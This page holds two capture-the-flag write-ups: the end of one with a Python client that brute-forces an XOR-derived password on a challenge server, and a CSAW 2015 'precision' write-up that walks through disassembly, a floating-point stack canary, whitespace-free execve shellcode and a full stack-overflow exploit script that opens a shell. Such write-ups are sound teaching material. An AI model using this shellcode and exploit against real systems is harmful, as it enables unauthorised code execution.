So we looked at the client again, and found the part of the client that handled the challenge and response. This was also an xor however it was of the challenge, and an offset of the connection id. Although this time the connection id is offset by six plus the offset used before.

Then we sent the answer to the server and the server sent back the flag of:

The only easy day was yesterday. 44564

Bellow is the client I wrote in python.

 1 import socket
 2 import os
 3 import time
 4 import binascii
 5 
 6 def send(text, find=None):
 7     print text
 8     s.send(text+'\n')
 9     time.sleep(.5)
10     resp = s.recv(9999)
11     print resp
12     if find is not None and find in resp:
13         return True
14     return False
15 
16 def get_password(username, connectionid):
17     return ''.join([chr(ord(x) > 0x1f and ord(x) or ord(x)+0x20) for x in xorbin(connectionid, username)])
18 
19 def xorbin(a, b):
20     q = 5
21     output = ''
22     for i in range(q):
23             output += chr(ord(a[i % len(a)]) ^ ord(b[i % len(b)]))
24     return output
25 
26 name = 'duchess'
27 s = socket.create_connection(('54.84.39.118',17069))
28 connectionid = s.recv(9999).partition(': ')[2].partition('\n')[0]
29 print connectionid
30 s.recv(9999)
31 send('version 3.11.54')
32 attempt = True
33 i = -1
34 while attempt:
35     i+= 1
36     send(name)
37     password = get_password(name, connectionid[i:])
38     attempt = not send(password, name)
39 
40 s.send('print key\n')
41 time.sleep(.5)
42 resp = s.recv(9999)
43 print resp
44 challenge = resp.partition(': ')[2].partition('\n')[0]
45 print challenge
46 send(get_password(challenge, connectionid[8+i-2:]))

Cross-posted from: http://coldwaterq.com/2015/06/02/Access_Control.html

Posted on Oct. 13, 2015, 4:04 p.m. by coldwaterq

CSAW 2015 - precision (exploitables 100) Writeup

Hint:

nc 54.173.98.115 1259

https://ctf.isis.poly.edu/static/uploads/d2f37c6015a78c053263836141d340fb/contacts_1153cd2daa128685d40c020c439fa906

'precision' comes off at first as a pretty simple stack smashing challenge, but it has a couple of interesting twists. The main thing that makes this challenge different from a run-of-the-mill stack smashing exploit is that the program uses a floating point number as a homegrown canary to detect stack smashing.

As with most pwnables, the first step to solving this is to start reverse engineering the binary. Let's see what kind of binary we're working with:

$ file precision
precision: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=929fc6f283d6f6c3c039ee19bc846e927103ebcd, not stripped

Neat! They didn't bother stripping the symbols. Let's disassemble the binary and see what we've got:

$ objdump -d -j .text -M intel precision_a8f6f0590c177948fe06c76a1831e650

[...]

0804851d <main>:
 804851d:       55                      push   ebp
 804851e:       89 e5                   mov    ebp,esp
 8048520:       83 e4 f0                and    esp,0xfffffff0
 8048523:       81 ec a0 00 00 00       sub    esp,0xa0
 8048529:       dd 05 90 86 04 08       fld    QWORD PTR ds:0x8048690
 804852f:       dd 9c 24 98 00 00 00    fstp   QWORD PTR [esp+0x98]
 8048536:       a1 40 a0 04 08          mov    eax,ds:0x804a040
 804853b:       c7 44 24 0c 00 00 00    mov    DWORD PTR [esp+0xc],0x0
 8048542:       00
 8048543:       c7 44 24 08 02 00 00    mov    DWORD PTR [esp+0x8],0x2
 804854a:       00
 804854b:       c7 44 24 04 00 00 00    mov    DWORD PTR [esp+0x4],0x0
 8048552:       00
 8048553:       89 04 24                mov    DWORD PTR [esp],eax
 8048556:       e8 a5 fe ff ff          call   8048400 <setvbuf@plt>
 804855b:       8d 44 24 18             lea    eax,[esp+0x18]
 804855f:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048563:       c7 04 24 78 86 04 08    mov    DWORD PTR [esp],0x8048678
 804856a:       e8 41 fe ff ff          call   80483b0 <printf@plt>
 804856f:       8d 44 24 18             lea    eax,[esp+0x18]
 8048573:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048577:       c7 04 24 82 86 04 08    mov    DWORD PTR [esp],0x8048682
 804857e:       e8 8d fe ff ff          call   8048410 <__isoc99_scanf@plt>
 8048583:       dd 84 24 98 00 00 00    fld    QWORD PTR [esp+0x98]
 804858a:       dd 05 90 86 04 08       fld    QWORD PTR ds:0x8048690
 8048590:       df e9                   fucomip st,st(1)
 8048592:       dd d8                   fstp   st(0)
 8048594:       7a 13                   jp     80485a9 <main+0x8c>
 8048596:       dd 84 24 98 00 00 00    fld    QWORD PTR [esp+0x98]
 804859d:       dd 05 90 86 04 08       fld    QWORD PTR ds:0x8048690
 80485a3:       df e9                   fucomip st,st(1)
 80485a5:       dd d8                   fstp   st(0)
 80485a7:       74 18                   je     80485c1 <main+0xa4>
 80485a9:       c7 04 24 85 86 04 08    mov    DWORD PTR [esp],0x8048685
 80485b0:       e8 0b fe ff ff          call   80483c0 <puts@plt>
 80485b5:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 80485bc:       e8 1f fe ff ff          call   80483e0 <exit@plt>
 80485c1:       a1 30 a0 04 08          mov    eax,ds:0x804a030
 80485c6:       8d 54 24 18             lea    edx,[esp+0x18]
 80485ca:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 80485ce:       89 04 24                mov    DWORD PTR [esp],eax
 80485d1:       e8 da fd ff ff          call   80483b0 <printf@plt>
 80485d6:       c9                      leave
 80485d7:       c3                      ret

[...]

Turns out that having symbols didn't really matter much, but it does allow us to quickly identify main. Now, while a decompiler does help speed up the reversing process, this function is simple enough that we can just read through the disassembly to figure out what's going on:

  1. main allocates a stack frame of 160 bytes (sub esp,0xa0).
  2. main loads an 8-byte double-precision floating point value (i.e. your standard 'double' type) from ds:0x8048690 onto the stack at [esp+0x98].
  3. main calls printf and then scanf for a stack-allocated buffer starting at [esp+0x18].
  4. After calling scanf, main does a floating point comparison between the double it loaded on the stack at [esp+0x18] and the value it loaded it from at ds:0x8048690.
  5. If the comparison fails, it prints a string ("Nope.") and then calls exit(1). This codepath will foil our stack smashing exploit, since we won't be able to return from main.

From this, we can deduce the following:

  • We have a 128 byte buffer on the stack (from [esp+0x98] through [esp+0x18]).
  • main will print the location of this buffer (the printf call at 0x804856a)
  • main does an uncontrolled scanf, reading an arbitrary-length string from the user.
  • main also verifies its custom homemade canary, a double value that it places on the stack before the char buffer.

So this double value is important. What is it?

$ objdump -s --start-address=0x8048690 -j .rodata -M intel precision_a8f6f0590c177948fe06c76a1831e650

precision_a8f6f0590c177948fe06c76a1831e650:     file format elf32-i386

Contents of section .rodata:
 8048690 a5315a47 55155040                    .1ZGU.P@

Accounting for little-endian encoding, our floating point canary is 0x40501555475a31a5, or 64.33333.

So now that we know what the canary is, we can overflow the stack buffer with the following python script:

python -c "import struct; print 128*'A' + struct.pack('<d', 64.33333) + 512*'A'"

This allows us to bypass the canary and trash EIP.

Since the binary is so kind as to print the address of the vulnerable stack buffer (i.e. the address of our shellcode), we can just dump our shellcode into the buffer and then overwrite EIP to jump into that buffer. Seems simple enough.

However, there is one subtle trick here! Note that scanf stops when it encounters any byte that is an ASCII whitespace char. So we must be careful to ensure that our shellcode does not contain any whitespace bytes!

Starting with some standard stack smashing shellcode (I used http://shell-storm.org/shellcode/files/shellcode-811.php), and running it through an x86 assembler (such as https://defuse.ca/online-x86-assembler.htm), we have the following shellcode to work with:

0:  31 c0                   xor    eax,eax
2:  50                      push   eax
3:  68 2f 2f 73 68          push   0x68732f2f
8:  68 2f 62 69 6e          push   0x6e69622f
d:  89 e3                   mov    ebx,esp
f:  89 c1                   mov    ecx,eax
11: 89 c2                   mov    edx,eax
13: b0 0b                   mov    al,0xb
15: cd 80                   int    0x80
17: 31 c0                   xor    eax,eax
19: 40                      inc    eax
1a: cd 80                   int    0x80

Well, that '0x0b' byte is gonna be problematic: in ASCII, that's a vertical tab character, which will make scanf stop reading our payload. We can't have that, so let's get around this using some math!

Instead of mov al, 0xb, let's just use two large values whose difference is 0xb (such as, oh I dunno, 0x7ffffffb and 0x7ffffff0). This way, the assembled shellcode won't actually contain an '0xb' byte and will be whitespace free.

Here's the final shellcode:

0:  31 c0                   xor    eax,eax
2:  50                      push   eax
3:  68 2f 2f 73 68          push   0x68732f2f
8:  68 2f 62 69 6e          push   0x6e69622f
d:  89 e3                   mov    ebx,esp
f:  89 c1                   mov    ecx,eax
11: 89 c2                   mov    edx,eax
13: b8 fb ff ff 7f          mov    eax,0x7ffffffb
18: 2d f0 ff ff 7f          sub    eax,0x7ffffff0
1d: cd 80                   int    0x80
1f: 31 c0                   xor    eax,eax
21: 40                      inc    eax
22: cd 80                   int    0x80

We can then deploy the shellcode as the payload for our python exploit script:

 1 # -*- coding: utf8 -*-
 2 import socket, string, struct, sys, telnetlib, time
 3 
 4 def i_send(sock, msg):
 5     sock.send(msg + '\n')
 6     print "SEND >>>", msg
 7 
 8 def i_recv(sock):
 9     data = sock.recv(8888)
10     for line in data.split('\n'):
11         print "<<< RECV", line
12     return data
13 
14 s = socket.create_connection(('54.173.98.115', '1259'))
15 
16 buf_addr = i_recv(s).split(' ')[1]  # We're gonna get "Buff: 0xdeadbeef"
17 buf_addr = int(buf_addr, 0)
18 print "Got buffer addresss: 0x%x" % (buf_addr)
19 
20 shellcode = ("\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x89" +
21              "\xC1\x89\xC2\xB8\xFB\xFF\xFF\x7F\x2D\xF0\xFF\xFF\x7F\xCD\x80\x31" +
22              "\xC0\x40\xCD\x80")
23 buf_contents = shellcode + '\x90' * (128 - len(shellcode))
24 payload = (buf_contents +
25            struct.pack('<d', 64.33333) +
26            'A' * 8 +                      # padding ¯\_(ツ)_/¯
27            'A' * 4 +                      # saved ebp
28            struct.pack('<I', buf_addr))   # saved eip
29 
30 i_send(s, payload)
31 
32 t = telnetlib.Telnet()
33 t.sock = s
34 t.interact()

And then we win:

$ python ./exploit.py
<<< RECV Buff: 0xffb7a938
<<< RECV
Got buffer addresss: 0xffb7a938
SEND >>> 1�Ph//shh/bin����¸���-���̀1�@̀���������������������������������������������������������������������������������������������1ZGUP@AAAAAAAAAAAA8���
Got 1�Ph//shh/bin����¸��-��̀1�@̀���������������������������������������������������������������������������������������������1ZGUP@AAAAAAAAAAAA8��
ls
flag
precision_a8f6f0590c177948fe06c76a1831e650
cat flag
flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}

Posted on Oct. 6, 2015, 9:48 p.m. by hbw